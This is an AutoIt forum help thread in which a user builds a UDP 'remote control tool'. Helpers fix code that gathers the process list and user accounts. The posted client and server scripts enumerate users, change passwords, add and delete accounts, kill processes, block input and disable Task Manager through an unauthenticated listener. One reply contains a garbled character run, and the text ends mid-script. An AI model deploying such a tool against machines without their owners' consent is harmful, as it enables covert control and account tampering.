Erik. Posted July 16, 2007 Share Posted July 16, 2007 Hi, Is there a simple way to get the process list from my computer in one message box and send it whit udp send? The same whit user accounts... Could someone help me please I little problem, hard to find and fix Link to comment Share on other sites More sharing options...
mikehunt114 Posted July 16, 2007 Share Posted July 16, 2007 get the process list from my computerProcessList()in one message box MsgBox()send it whit udp send?UDPSend() IE Dev ToolbarMSDN: InternetExplorer ObjectMSDN: HTML/DHTML Reference Guide[quote]It is surprising what a man can do when he has to, and how little most men will do when they don't have to. - Walter Linn[/quote]--------------------[font="Franklin Gothic Medium"]Post a reproducer with less than 100 lines of code.[/font] Link to comment Share on other sites More sharing options...
SadBunny Posted July 16, 2007 Share Posted July 16, 2007 ProcessList()MsgBox()UDPSend()Can't resist the temptation to compliment your brilliancy Cheers! Roses are FF0000, violets are 0000FF... All my base are belong to you. Link to comment Share on other sites More sharing options...
Erik. Posted July 17, 2007 Author Share Posted July 17, 2007 Hi, Yes i know i can do whit it... But how to get all processes in one message box? In the help file i found this: ; List all processes $list = ProcessList() for $i = 1 to $list[0][0] msgbox(0,"", $list[$i][0]) next But then i get many messageboxes and i need only one... I little problem, hard to find and fix Link to comment Share on other sites More sharing options...
SadBunny Posted July 17, 2007 Share Posted July 17, 2007 Hi, Yes i know i can do whit it... But how to get all processes in one message box? In the help file i found this: ; List all processes $list = ProcessList() for $i = 1 to $list[0][0] msgbox(0,"", $list[$i][0]) next But then i get many messageboxes and i need only one... _ArrayDisplay() is probably easiest. Roses are FF0000, violets are 0000FF... All my base are belong to you. Link to comment Share on other sites More sharing options...
Erik. Posted July 17, 2007 Author Share Posted July 17, 2007 Ok, Thanks for the fast post The next problem is you must don't see a display or something you need to send it whit udp send... When i can get a message box whit a whole list i can send it whit udp send... I little problem, hard to find and fix Link to comment Share on other sites More sharing options...
PsaltyDS Posted July 17, 2007 Share Posted July 17, 2007 Ok,Thanks for the fast post The next problem is you must don't see a display or something you need to send it whit udp send...When i can get a message box whit a whole list i can send it whit udp send...Time to start posting some code. What have tried? Did you read the help file? Have you tried the tutorials? Do you know what an array is and how to work with them?First things first: ProcessList() returns a 2D array. Do you know how to convert that to a string?I'm sorry, but it's just starting to sound like you are waiting for someone to write your script for you and not showing that you have done anything on it yourself. (It that's what you need, check out the Rent-A-Coder link in my sig.) Valuater's AutoIt 1-2-3, Class... Is now in Session!For those who want somebody to write the script for them: RentACoder"Any technology distinguishable from magic is insufficiently advanced." -- Geek's corollary to Clarke's law Link to comment Share on other sites More sharing options...
Outshynd Posted July 17, 2007 Share Posted July 17, 2007 (edited) Global $msg = "Process List:" Global $pList = ProcessList() For $i = 1 to $pList[0][0] $msg &= @CRLF & $pList[$i][0] Next MsgBox(64, "$pList", $msg) Should work. Edited July 17, 2007 by Outshynd Link to comment Share on other sites More sharing options...
Erik. Posted July 17, 2007 Author Share Posted July 17, 2007 I have used arays before but it is a time ago and when it works and i go on everything works but not this time Thanks for the script i was testing at my self but did not work very good. Thats one peace of my script. Now the second one how to get all user accounts on the pc and send them whit udp... I have a script that works whit dos but when i use it into my script and want to send it whit udp send it doesn't work this is my script: $rc = Run(@ComSpec & " /c net user", @WorkingDir, @SW_HIDE, $STDOUT_CHILD) $StdOut = "" While ProcessExists($rc) If StdoutRead($rc, 0, 1) Then $StdOut &= StdoutRead($rc) WEnd Msgbox(0,"",$StdOut) I get all users in the msg box... When i send them whit udp send it doens't work anymore How to fix it? I little problem, hard to find and fix Link to comment Share on other sites More sharing options...
PsaltyDS Posted July 17, 2007 Share Posted July 17, 2007 $rc = Run(@ComSpec & " /c net user", @WorkingDir, @SW_HIDE, $STDOUT_CHILD) $StdOut = "" While ProcessExists($rc) If StdoutRead($rc, 0, 1) Then $StdOut &= StdoutRead($rc) WEndMsgbox(0,"",$StdOut) I get all users in the msg box...When i send them whit udp send it doens't work anymoreHow to fix it?The code you are showing is not where the problem is, since it does what it is supposed to: list users to a string variable.How do you send them with UDP? Post that portion of your script. Valuater's AutoIt 1-2-3, Class... Is now in Session!For those who want somebody to write the script for them: RentACoder"Any technology distinguishable from magic is insufficiently advanced." -- Geek's corollary to Clarke's law Link to comment Share on other sites More sharing options...
Erik. Posted July 17, 2007 Author Share Posted July 17, 2007 A few lines of my script how to get the user and sen it whit udp send... If $data = "getuser" Then MsgBox(0, "UDP DATA","getuser", 1) ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; $rc = Run(@ComSpec & " /c net user", @WorkingDir, @SW_HIDE, $STDOUT_CHILD) $StdOut = "" While ProcessExists($rc) If StdoutRead($rc, 0, 1) Then $StdOut &= StdoutRead($rc) WEnd UDPSend($socket,"userfound|" & $StdOut) Everything in my script works but not that I little problem, hard to find and fix Link to comment Share on other sites More sharing options...
SadBunny Posted July 17, 2007 Share Posted July 17, 2007 A few lines of my script how to get the user and sen it whit udp send...If $data = "getuser" Then MsgBox(0, "UDP DATA","getuser", 1) ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; $rc = Run(@ComSpec & " /c net user", @WorkingDir, @SW_HIDE, $STDOUT_CHILD) $StdOut = "" While ProcessExists($rc) If StdoutRead($rc, 0, 1) Then $StdOut &= StdoutRead($rc) WEnd UDPSend($socket,"userfound|" & $StdOut)Everything in my script works but not that Did you also use UDPOpen to create the connection? (Just asking.)Some thoughts:What goes wrong? Do you get any errors? Is the wrong data sent or is no data sent?Also: Did you check whether the standard output was read correctly? What happens if you put MsgBox(0,"test",$StdOut) after the WEnd, to see if it read the correct stuff? Roses are FF0000, violets are 0000FF... All my base are belong to you. Link to comment Share on other sites More sharing options...
Erik. Posted July 17, 2007 Author Share Posted July 17, 2007 Hi, Yes i used udp open etc... This is not the whole script. Everything is working of my script but not that. I also have this: If $data = "shutdown" Then MsgBox(0, "UDP DATA","shutdown", 1) UDPSend($socket,"shuttingdown") ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; EndIf This works fine but what i want not... At the remote side i get a nice message back I little problem, hard to find and fix Link to comment Share on other sites More sharing options...
PsaltyDS Posted July 17, 2007 Share Posted July 17, 2007 If you can't post enough code to demo your problem, there's not much help for you. Valuater's AutoIt 1-2-3, Class... Is now in Session!For those who want somebody to write the script for them: RentACoder"Any technology distinguishable from magic is insufficiently advanced." -- Geek's corollary to Clarke's law Link to comment Share on other sites More sharing options...
Erik. Posted July 17, 2007 Author Share Posted July 17, 2007 (edited) Ok, I try to made this program for my self in network... This is my remote side that i use: expandcollapse popup#include <GUIConstants.au3> $Form1 = GUICreate("Remote control tool", 637, 565, 191, 113) $ip = GUICtrlCreateInput("172.27.183.213", 32, 16, 193, 21) $connect = GUICtrlCreateButton("Connect", 240, 16, 105, 25, 0) $info = GUICtrlCreateEdit("", 32, 56, 313, 449, BitOR($ES_AUTOVSCROLL,$ES_AUTOHSCROLL,$ES_READONLY,$ES_WANTRETURN,$WS_HSCROLL,$WS_VSCROLL)) GUICtrlSetBkColor(-1, 0x3B99FE) $message = GUICtrlCreateInput("", 32, 520, 193, 21) $Send = GUICtrlCreateButton("Send", 240, 520, 105, 25, 0) $Button3 = GUICtrlCreateButton("Shutdown", 360, 16, 121, 25, 0) $Button4 = GUICtrlCreateButton("Reboot", 360, 56, 121, 25, 0) $Button5 = GUICtrlCreateButton("Get users", 360, 96, 121, 25, 0) $Button6 = GUICtrlCreateButton("Change password", 360, 136, 121, 25, 0) $Button7 = GUICtrlCreateButton("Get proces", 360, 176, 121, 25, 0) $Button8 = GUICtrlCreateButton("Kill proces", 360, 216, 121, 25, 0) $Button9 = GUICtrlCreateButton("AButton9", 360, 256, 121, 25, 0) $Button10 = GUICtrlCreateButton("AButton10", 360, 296, 121, 25, 0) $Button11 = GUICtrlCreateButton("AButton11", 360, 336, 121, 25, 0) $Button12 = GUICtrlCreateButton("AButton12", 360, 376, 121, 25, 0) $Button13 = GUICtrlCreateButton("AButton13", 360, 416, 121, 25, 0) $Button14 = GUICtrlCreateButton("AButton14", 360, 456, 121, 25, 0) $Button15 = GUICtrlCreateButton("AButton15", 360, 496, 121, 25, 0) GUISetState(@SW_SHOW) #EndRegion ### END Koda GUI section ### UDPStartup() While 1 $nMsg = GUIGetMsg() Switch $nMsg Case $GUI_EVENT_CLOSE UDPShutdown() Exit Case $connect If GUICtrlRead($ip) = "" Then Msgbox(64,"No ip","Please full a ip adres in") EndIf $socket = UDPOpen(GUICtrlRead($ip), 28960) If @error <> 0 Then Exit $status = UDPSend($socket,"Connect") If $status = 0 then MsgBox(0, "ERROR", "Error while sending UDP message: " & @error) EndIf while 1 $data = UDPRecv($socket, 50) If $data = "Connected" Then GUICtrlSetData($info,GUICtrlRead($info) & @CRLF & @HOUR & ":" & @MIN & ":" & @SEC & " Connected whit host:" & GUICtrlRead($ip)) ExitLoop EndIf sleep(100) wend Case $Button3 If GUICtrlRead($ip) = "" Then Msgbox(64,"No ip","Please full a ip adres in") EndIf $socket = UDPOpen(GUICtrlRead($ip), 28960) If @error <> 0 Then Exit $status = UDPSend($socket,"shutdown") If $status = 0 then MsgBox(0, "ERROR", "Error while sending UDP message: " & @error) EndIf while 1 $data = UDPRecv($socket, 50) If $data = "shuttingdown" Then GUICtrlSetData($info,GUICtrlRead($info) & @CRLF & @HOUR & ":" & @MIN & ":" & @SEC & " The remote host is shutting down:" & GUICtrlRead($ip)) ExitLoop EndIf sleep(100) wend case $Button4 If GUICtrlRead($ip) = "" Then Msgbox(64,"No ip","Please full a ip adres in") EndIf $socket = UDPOpen(GUICtrlRead($ip), 28960) If @error <> 0 Then Exit $status = UDPSend($socket,"reboot") If $status = 0 then MsgBox(0, "ERROR", "Error while sending UDP message: " & @error) EndIf while 1 $data = UDPRecv($socket, 50) If $data = "rebooting" Then GUICtrlSetData($info,GUICtrlRead($info) & @CRLF & @HOUR & ":" & @MIN & ":" & @SEC & " The remote host is rebooting now:" & GUICtrlRead($ip)) ExitLoop EndIf sleep(100) wend case $Button5 If GUICtrlRead($ip) = "" Then Msgbox(64,"No ip","Please full a ip adres in") EndIf $socket = UDPOpen(GUICtrlRead($ip), 28960) If @error <> 0 Then Exit $status = UDPSend($socket,"getuser") If $status = 0 then MsgBox(0, "ERROR", "Error while sending UDP message: " & @error) EndIf while 1 $data1 = UDPRecv($socket, 50) $string = StringSplit($data1, "|") If $string[1] = "userfound" Then MsgBox(0, "data1",$string[2]) GUICtrlSetData($info,GUICtrlRead($info) & @CRLF & @HOUR & ":" & @MIN & ":" & @SEC & @CRLF & $string[2] & GUICtrlRead($ip)) ExitLoop EndIf sleep(100) wend EndSwitch WEnd And this is my side on the server so i can do everything... expandcollapse popup#include <GUIConstants.au3> #include <Constants.au3> #include <process.au3> ;;This is the UDP Server ;;Start this first ; Start The UDP Services ;============================================== UDPStartup() ; Bind to a SOCKET ;============================================== $socket = UDPBind("172.27.183.213", 28960) If @error <> 0 Then MsgBox(0,"error",@error) While 1 $data = UDPRecv($socket, 50) If $data = "Connect" Then MsgBox(0, "UDP DATA","Connected", 1) UDPSend($socket,"Connected") ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; EndIf If $data = "shutdown" Then MsgBox(0, "UDP DATA","shutdown", 1) UDPSend($socket,"shuttingdown") ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; EndIf If $data = "reboot" Then MsgBox(0, "UDP DATA","reboot", 1) UDPSend($socket,"rebooting") ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; EndIf If $data = "getuser" Then MsgBox(0, "UDP DATA","getuser", 1) ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; $rc = Run(@ComSpec & " /c net user", @WorkingDir, @SW_HIDE, $STDOUT_CHILD) $StdOut = "" While ProcessExists($rc) If StdoutRead($rc, 0, 1) Then $StdOut &= StdoutRead($rc) WEnd UDPSend($socket,"userfound|" & $StdOut) ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; EndIf sleep(100) WEnd Func OnAutoItExit() UDPCloseSocket($socket) UDPShutdown() EndFunc Hope you can help me... Edited July 17, 2007 by Erik. I little problem, hard to find and fix Link to comment Share on other sites More sharing options...
PsaltyDS Posted July 17, 2007 Share Posted July 17, 2007 Deleted mistaken reply. I mis-read part of the script. Valuater's AutoIt 1-2-3, Class... Is now in Session!For those who want somebody to write the script for them: RentACoder"Any technology distinguishable from magic is insufficiently advanced." -- Geek's corollary to Clarke's law Link to comment Share on other sites More sharing options...
Erik. Posted July 17, 2007 Author Share Posted July 17, 2007 I am trying to add the new script but that also doesn't work Here is what i added: If $data = "processlist" Then MsgBox(0, "UDP DATA","processlist", 1) ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; For $i = 1 to $pList[0][0] $msg2 &= @CRLF & $pList[$i][0] Next UDPSend($socket,"processlist2|" & $msg2) ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; EndIf case $Button7 If GUICtrlRead($ip) = "" Then Msgbox(64,"No ip","Please full a ip adres in") EndIf $socket = UDPOpen(GUICtrlRead($ip), 28960) If @error <> 0 Then Exit $status = UDPSend($socket,"processlist") If $status = 0 then MsgBox(0, "ERROR", "Error while sending UDP message: " & @error) EndIf while 1 $data2 = UDPRecv($socket, 50) $string2 = StringSplit($data2, "|") If $string2[1] = "processlist2" Then MsgBox(0, "data1",$string2[2]) GUICtrlSetData($info,GUICtrlRead($info) & @CRLF & @HOUR & ":" & @MIN & ":" & @SEC & " Process list remote:" & $string2[2] & GUICtrlRead($ip)) ExitLoop EndIf sleep(100) wend I little problem, hard to find and fix Link to comment Share on other sites More sharing options...
PsaltyDS Posted July 17, 2007 Share Posted July 17, 2007 On the client side, you are not handling null data received before your expected message arrives. This worked for me: While 1 $data1 = UDPRecv($socket, 2048) If StringInStr($data1, "|") Then $string = StringSplit($data1, "|") If $string[0] = 2 And $string[1] = "userfound" Then MsgBox(0, "data1", $string[2]) GUICtrlSetData($info, GUICtrlRead($info) & @CRLF & @HOUR & ":" & @MIN & ":" & @SEC & @CRLF & $string[2] & GUICtrlRead($ip)) ExitLoop Else MsgBox(16, "Error", "Unexpected reply to 'getuser': " & $data1) EndIf Sleep(100) EndIf WEndoÝ÷ Ø¥²!jxu©e¶©§²ØZ¶×¬µú+¶=§]ë,¶Þ¦·¬z{[ºÛaȬr&zØjëh×6 Case $Button5 If GUICtrlRead($ip) = "" Then MsgBox(16, "No IP", "Please fill an IP addresss in...") ContinueLoop EndIf Valuater's AutoIt 1-2-3, Class... Is now in Session!For those who want somebody to write the script for them: RentACoder"Any technology distinguishable from magic is insufficiently advanced." -- Geek's corollary to Clarke's law Link to comment Share on other sites More sharing options...
Erik. Posted July 18, 2007 Author Share Posted July 18, 2007 Hi, Thanks allot. i hope it will work here also and i first need to look at your code how you made it so i understand it:P If this works i also can get the process list... Thanks!!! I little problem, hard to find and fix Link to comment Share on other sites More sharing options...
Erik. Posted July 24, 2007 Author Share Posted July 24, 2007 (edited) HI all, I am finshed whit my program I have tested on my own computer thats works perfect.. Now i wanted to use it on my network but it doens't work This is my code: on my pc: expandcollapse popup#include <GUIConstants.au3> #Region ### START Koda GUI section ### Form=G:\backup24mei2006\Alemappen\Autoit\Koda\Forms\remotecool2.kxf $Form1 = GUICreate("Remote control tool", 637, 565, 191, 113) $ip = GUICtrlCreateInput("172.27.183.214", 32, 16, 193, 21) $connect = GUICtrlCreateButton("Connect", 240, 16, 105, 25, 0) $info = GUICtrlCreateEdit("", 32, 56, 313, 449, BitOR($ES_AUTOVSCROLL,$ES_AUTOHSCROLL,$ES_READONLY,$ES_WANTRETURN,$WS_HSCROLL,$WS_VSCROLL)) GUICtrlSetData(-1, "") GUICtrlSetBkColor(-1, 0x3B99FE) $message = GUICtrlCreateInput("", 32, 520, 193, 21) $Send = GUICtrlCreateButton("Send", 240, 520, 105, 25, 0) $tabs = GUICtrlCreateTab(384, 16, 313, 537) $TabSheet1 = GUICtrlCreateTabItem("General") $Button3 = GUICtrlCreateButton("Shutdown", 399, 45, 121, 25, 0) $Button4 = GUICtrlCreateButton("Reboot", 399, 78, 121, 25, 0) $Button5 = GUICtrlCreateButton("Get users", 399, 112, 121, 25, 0) $Button6 = GUICtrlCreateButton("Change password", 399, 147, 121, 25, 0) $Button7 = GUICtrlCreateButton("Delete user", 399, 181, 121, 25, 0) $Button8 = GUICtrlCreateButton("Add user", 399, 215, 121, 25, 0) $Button9 = GUICtrlCreateButton("Get Process List", 399, 247, 121, 25, 0) $Button10 = GUICtrlCreateButton("Kill proces", 399, 283, 121, 25, 0) $Button11 = GUICtrlCreateButton("Block input", 399, 320, 121, 25, 0) $Button12 = GUICtrlCreateButton("Unblock input", 399, 356, 121, 25, 0) $Button13 = GUICtrlCreateButton("AButton13", 399, 391, 121, 25, 0) $Button14 = GUICtrlCreateButton("AButton14", 399, 426, 121, 25, 0) $Button15 = GUICtrlCreateButton("AButton15", 399, 461, 121, 25, 0) $TabSheet2 = GUICtrlCreateTabItem("Advanced") $Button1 = GUICtrlCreateButton("Enable Task Manager", 398, 48, 150, 25, 0) $Button2 = GUICtrlCreateButton("Disable Task Manager", 398, 81, 150, 25, 0) $Button16 = GUICtrlCreateButton("On hide all items destop", 398, 120, 150, 25, 0) $Button17 = GUICtrlCreateButton("Off hide all items desktop", 398, 154, 150, 25, 0) $Button18 = GUICtrlCreateButton("On hide clock", 398, 187, 150, 25, 0) $Button19 = GUICtrlCreateButton("Off hide clock", 398, 224, 150, 25, 0) $Button20 = GUICtrlCreateButton("On hide button log off", 398, 262, 150, 25, 0) $Button21 = GUICtrlCreateButton("Off hide button log off", 398, 294, 150, 25, 0) $Button22 = GUICtrlCreateButton("On hide tray icons", 398, 331, 150, 25, 0) $Button23 = GUICtrlCreateButton("Off hide tray icons", 398, 370, 150, 25, 0) $Button24 = GUICtrlCreateButton("Change message login", 398, 403, 150, 25, 0) $Button25 = GUICtrlCreateButton("AButton3", 398, 441, 150, 25, 0) $Button26 = GUICtrlCreateButton("AButton3", 398, 477, 150, 25, 0) $Button27 = GUICtrlCreateButton("AButton3", 398, 510, 150, 25, 0) GUICtrlCreateTabItem("") GUISetState(@SW_SHOW) UDPStartup() While 1 $nMsg = GUIGetMsg() Switch $nMsg Case $GUI_EVENT_CLOSE UDPShutdown() Exit Case $connect If GUICtrlRead($ip) = "" Then Msgbox(64,"No ip","Please full a ip adres in") EndIf $socket = UDPOpen(GUICtrlRead($ip), 28960) If @error <> 0 Then Exit $status = UDPSend($socket,"Connect") If $status = 0 then MsgBox(0, "ERROR", "Error while sending UDP message: " & @error) EndIf while 1 $data = UDPRecv($socket, 50) If $data = "Connected" Then GUICtrlSetData($info, @HOUR & ":" & @MIN & ":" & @SEC & " Connected whit host:" & GUICtrlRead($ip) & @CRLF & GUICtrlRead($info)) ExitLoop EndIf sleep(100) wend Case $Button3 If GUICtrlRead($ip) = "" Then Msgbox(64,"No ip","Please full a ip adres in") EndIf $socket = UDPOpen(GUICtrlRead($ip), 28960) If @error <> 0 Then Exit $status = UDPSend($socket,"shutdown") If $status = 0 then MsgBox(0, "ERROR", "Error while sending UDP message: " & @error) EndIf while 1 $data = UDPRecv($socket, 50) If $data = "shuttingdown" Then GUICtrlSetData($info, @HOUR & ":" & @MIN & ":" & @SEC & " The remote host is shutting down:" & GUICtrlRead($ip) & @CRLF & GUICtrlRead($info)) ExitLoop EndIf sleep(100) wend case $Button4 If GUICtrlRead($ip) = "" Then Msgbox(64,"No ip","Please full a ip adres in") EndIf $socket = UDPOpen(GUICtrlRead($ip), 28960) If @error <> 0 Then Exit $status = UDPSend($socket,"reboot") If $status = 0 then MsgBox(0, "ERROR", "Error while sending UDP message: " & @error) EndIf while 1 $data = UDPRecv($socket, 50) If $data = "rebooting" Then GUICtrlSetData($info, @HOUR & ":" & @MIN & ":" & @SEC & " The remote host is rebooting now:" & GUICtrlRead($ip) & @CRLF & GUICtrlRead($info)) ExitLoop EndIf sleep(100) wend case $Button5 If GUICtrlRead($ip) = "" Then MsgBox(16, "No IP", "Please fill an IP addresss in...") EndIf $socket = UDPOpen(GUICtrlRead($ip), 28960) If @error <> 0 Then Exit $status = UDPSend($socket,"getuser") If $status = 0 then MsgBox(0, "ERROR", "Error while sending UDP message: " & @error) EndIf While 1 $data1 = UDPRecv($socket, 2048) If StringInStr($data1, "|") Then $string = StringSplit($data1, "|") If $string[0] = 2 And $string[1] = "userfound" Then GUICtrlSetData($info, @HOUR & ":" & @MIN & ":" & @SEC & " The remote host user accounts:" & @CRLF & $string[2] & GUICtrlRead($ip) & @CRLF & GUICtrlRead($info)) ExitLoop Else MsgBox(16, "Error", "Unexpected reply to 'getuser': " & $data1) EndIf Sleep(100) EndIf WEnd case $Button6 If GUICtrlRead($ip) = "" Then MsgBox(16, "No IP", "Please fill an IP addresss in...") EndIf $socket = UDPOpen(GUICtrlRead($ip), 28960) If @error <> 0 Then Exit $status = UDPSend($socket,"userpassword") If $status = 0 then MsgBox(0, "ERROR", "Error while sending UDP message: " & @error) EndIf Sleep(1000) $username = InputBox("Please full the user that you want to change the password", "User name", "") $password1 = InputBox("Please full the new password for the user", "Password", "") $password2 = InputBox("Please full the new password for the user", "Password", "") If $password1 = $password2 Then $status2 = UDPSend($socket,"userpassword2|" & $username & "|" & $password1 ) While 1 $data2 = UDPRecv($socket, 999) If $data2 = "ok" Then GUICtrlSetData($info, @HOUR & ":" & @MIN & ":" & @SEC & " The remote host user password was succesfull changed to: " & $password1& " " & GUICtrlRead($ip) & @CRLF & GUICtrlRead($info)) ExitLoop EndIf If $data2 = "false" Then GUICtrlSetData($info, @HOUR & ":" & @MIN & ":" & @SEC & " The remote host user password was NOT changed to: " & $password1& " " & GUICtrlRead($ip) & @CRLF & GUICtrlRead($info)) ExitLoop Else EndIf WEnd ;;;;;;; Else MsgBox(48,"Error","The passwords do not match please edit them") Endif case $Button7 If GUICtrlRead($ip) = "" Then MsgBox(16, "No IP", "Please fill an IP addresss in...") EndIf $socket = UDPOpen(GUICtrlRead($ip), 28960) If @error <> 0 Then Exit $status = UDPSend($socket,"userdelete") If $status = 0 then MsgBox(0, "ERROR", "Error while sending UDP message: " & @error) EndIf Sleep(1000) $userdelete = InputBox("Please full the user that you want to delete", "User name", "") $status2 = UDPSend($socket,"userdelete2|" & $userdelete) While 1 $data2 = UDPRecv($socket, 999) If $data2 = "ok" Then GUICtrlSetData($info, @HOUR & ":" & @MIN & ":" & @SEC & " The remote host user was succesfull deleted: " & $userdelete& " " & GUICtrlRead($ip) & @CRLF & GUICtrlRead($info)) ExitLoop EndIf If $data2 = "false" Then GUICtrlSetData($info, @HOUR & ":" & @MIN & ":" & @SEC & " The remote host user user could NOT be deleted: " & $userdelete& " " & GUICtrlRead($ip) & @CRLF & GUICtrlRead($info)) ExitLoop Else EndIf WEnd ;;;;;;; case $Button8 If GUICtrlRead($ip) = "" Then MsgBox(16, "No IP", "Please fill an IP addresss in...") EndIf $socket = UDPOpen(GUICtrlRead($ip), 28960) If @error <> 0 Then Exit $status = UDPSend($socket,"useradd") If $status = 0 then MsgBox(0, "ERROR", "Error while sending UDP message: " & @error) EndIf Sleep(1000) $useradd = InputBox("Please full the user that you want to add", "User name", "") $status2 = UDPSend($socket,"useradd2|" & $useradd) While 1 $data2 = UDPRecv($socket, 999) If $data2 = "ok" Then GUICtrlSetData($info, @HOUR & ":" & @MIN & ":" & @SEC & " The remote host user was succesfull added: " & $useradd& " " & GUICtrlRead($ip) & @CRLF & GUICtrlRead($info)) ExitLoop EndIf If $data2 = "false" Then GUICtrlSetData($info, @HOUR & ":" & @MIN & ":" & @SEC & " The remote host user user could NOT be added: " & $useradd& " " & GUICtrlRead($ip) & @CRLF & GUICtrlRead($info)) ExitLoop Else EndIf WEnd ;;;;;;; case $Button9 If GUICtrlRead($ip) = "" Then MsgBox(16, "No IP", "Please fill an IP addresss in...") EndIf $socket = UDPOpen(GUICtrlRead($ip), 28960) If @error <> 0 Then Exit $status = UDPSend($socket,"tasklist") If $status = 0 then MsgBox(0, "ERROR", "Error while sending UDP message: " & @error) EndIf While 1 $data1 = UDPRecv($socket, 999999) If StringInStr($data1, "|") Then $string = StringSplit($data1, "|") If $string[0] = 2 And $string[1] = "tasklist" Then GUICtrlSetData($info, @HOUR & ":" & @MIN & ":" & @SEC & " The remote host process list:" & @CRLF & $string[2] & GUICtrlRead($ip) & @CRLF & GUICtrlRead($info)) ExitLoop Else MsgBox(16, "Error", "Unexpected reply to 'Tasklist': " & $data1) EndIf Sleep(100) EndIf WEnd case $Button10 If GUICtrlRead($ip) = "" Then MsgBox(16, "No IP", "Please fill an IP addresss in...") EndIf $socket = UDPOpen(GUICtrlRead($ip), 28960) If @error <> 0 Then Exit $status = UDPSend($socket,"tasklistkill") If $status = 0 then MsgBox(0, "ERROR", "Error while sending UDP message: " & @error) EndIf Sleep(1000) $taskkill = InputBox("Please full the process that you want to kill", "Process you want to kill + .exe", "") $status2 = UDPSend($socket,"tasklistkill2|" & $taskkill) While 1 $data2 = UDPRecv($socket, 999) If $data2 = "ok" Then GUICtrlSetData($info, @HOUR & ":" & @MIN & ":" & @SEC & " The remote host process killed succesfull: " & $taskkill & GUICtrlRead($ip) & @CRLF & GUICtrlRead($info)) ExitLoop EndIf If $data2 = "false2" Then GUICtrlSetData($info, @HOUR & ":" & @MIN & ":" & @SEC & " The remote host process was not found: " & $taskkill & GUICtrlRead($ip) & @CRLF & GUICtrlRead($info)) ExitLoop EndIf If $data2 = "false" Then GUICtrlSetData($info, @HOUR & ":" & @MIN & ":" & @SEC & " The remote host process was NOT killed: " & $taskkill & GUICtrlRead($ip) & @CRLF & GUICtrlRead($info)) ExitLoop Else EndIf Sleep(100) WEnd Case $Button11 If GUICtrlRead($ip) = "" Then Msgbox(64,"No ip","Please full a ip adres in") EndIf $socket = UDPOpen(GUICtrlRead($ip), 28960) If @error <> 0 Then Exit $status = UDPSend($socket,"blockinput") If $status = 0 then MsgBox(0, "ERROR", "Error while sending UDP message: " & @error) EndIf while 1 $data = UDPRecv($socket, 50) If $data = "blockinput" Then GUICtrlSetData($info, @HOUR & ":" & @MIN & ":" & @SEC & " The remote host input was blocked:" & GUICtrlRead($ip) & @CRLF & GUICtrlRead($info)) ExitLoop EndIf sleep(100) wend Case $Button12 If GUICtrlRead($ip) = "" Then Msgbox(64,"No ip","Please full a ip adres in") EndIf $socket = UDPOpen(GUICtrlRead($ip), 28960) If @error <> 0 Then Exit $status = UDPSend($socket,"unblockinput") If $status = 0 then MsgBox(0, "ERROR", "Error while sending UDP message: " & @error) EndIf while 1 $data = UDPRecv($socket, 50) If $data = "unblockinput" Then GUICtrlSetData($info, @HOUR & ":" & @MIN & ":" & @SEC & " The remote host input was unblocked:" & GUICtrlRead($ip) & @CRLF & GUICtrlRead($info)) ExitLoop EndIf sleep(100) wend ;;;;;;;;;;;;;;;;;;;;;;;;advanced;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; Case $Button1 If GUICtrlRead($ip) = "" Then Msgbox(64,"No ip","Please full a ip adres in") EndIf $socket = UDPOpen(GUICtrlRead($ip), 28960) If @error <> 0 Then Exit $status = UDPSend($socket,"enabletaskmanager") If $status = 0 then MsgBox(0, "ERROR", "Error while sending UDP message: " & @error) EndIf while 1 $data = UDPRecv($socket, 50) If $data = "enabletaskmanager" Then GUICtrlSetData($info, @HOUR & ":" & @MIN & ":" & @SEC & " The remote host task manager was enabled:" & GUICtrlRead($ip) & @CRLF & GUICtrlRead($info)) ExitLoop EndIf sleep(100) wend Case $Button2 If GUICtrlRead($ip) = "" Then Msgbox(64,"No ip","Please full a ip adres in") EndIf $socket = UDPOpen(GUICtrlRead($ip), 28960) If @error <> 0 Then Exit $status = UDPSend($socket,"disabletaskmanager") If $status = 0 then MsgBox(0, "ERROR", "Error while sending UDP message: " & @error) EndIf while 1 $data = UDPRecv($socket, 50) If $data = "disabletaskmanager" Then GUICtrlSetData($info, @HOUR & ":" & @MIN & ":" & @SEC & " The remote host taskmanager was disabled:" & GUICtrlRead($ip) & @CRLF & GUICtrlRead($info)) ExitLoop EndIf sleep(100) wend Case $Button16 If GUICtrlRead($ip) = "" Then Msgbox(64,"No ip","Please full a ip adres in") EndIf $socket = UDPOpen(GUICtrlRead($ip), 28960) If @error <> 0 Then Exit $status = UDPSend($socket,"onhideallitemsdesktop") If $status = 0 then MsgBox(0, "ERROR", "Error while sending UDP message: " & @error) EndIf while 1 $data = UDPRecv($socket, 50) If $data = "onhideallitemsdesktop" Then GUICtrlSetData($info, @HOUR & ":" & @MIN & ":" & @SEC & " The remote host desktop items are hide:" & GUICtrlRead($ip) & @CRLF & GUICtrlRead($info)) ExitLoop EndIf sleep(100) wend Case $Button17 If GUICtrlRead($ip) = "" Then Msgbox(64,"No ip","Please full a ip adres in") EndIf $socket = UDPOpen(GUICtrlRead($ip), 28960) If @error <> 0 Then Exit $status = UDPSend($socket,"offhideallitemsdesktop") If $status = 0 then MsgBox(0, "ERROR", "Error while sending UDP message: " & @error) EndIf while 1 $data = UDPRecv($socket, 50) If $data = "offhideallitemsdesktop" Then GUICtrlSetData($info, @HOUR & ":" & @MIN & ":" & @SEC & " The remote host desktop item are unhide:" & GUICtrlRead($ip) & @CRLF & GUICtrlRead($info)) ExitLoop EndIf sleep(100) wend Case $Button18 If GUICtrlRead($ip) = "" Then Msgbox(64,"No ip","Please full a ip adres in") EndIf $socket = UDPOpen(GUICtrlRead($ip), 28960) If @error <> 0 Then Exit $status = UDPSend($socket,"onhideclock") If $status = 0 then MsgBox(0, "ERROR", "Error while sending UDP message: " & @error) EndIf while 1 $data = UDPRecv($socket, 50) If $data = "onhideclock" Then 